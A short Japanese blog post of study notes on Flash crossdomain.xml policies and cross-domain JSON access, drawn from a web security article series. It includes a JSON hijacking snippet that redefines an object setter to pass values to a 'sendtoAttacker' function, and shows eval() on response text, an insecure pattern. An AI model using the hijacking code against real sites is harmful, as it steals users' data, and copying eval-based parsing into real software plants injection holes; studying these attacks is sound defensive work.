2009年11月24日 #flash

gihyoサイトの「ここが危ない!Web2.0のセキュリティ」連載の第4回:「Flash,JSONでのクロスドメインアクセス」の勉強メモです。

Flashのクロスドメインアクセス

動作原理

データ提供側で認証のファイルを設置するだけです。
ファイル名は「crossdomain.xml」で、これが例なのかこう書かなければならないのかは明確に書いてません。

<cross-domain-policy>
  <allow-access-from domain="www.securesky-tech.com" />
</cross-domain-policy>

JSONでも実はクロスドメインアクセスが可能

動作原理

eval()関数でデータを評価するだけで使用可能になる

var obj = eval("("+req.responseText+")");

クロスドメインの実現

setterメソッドをサポートしているブラウザ(FirefoxやSafari 3等)では,setterメソッドを再定義することによって,JSONもSCRIPTタグで呼び出して使うことが可能になる。

<html>
  <script>
    Object.prototype.__defineSetter__('name', function(x){sendtoAttacker(x);});
  </script>
  <script src="http://www.securesky-tech.com/object.dat">
  </script>
</html>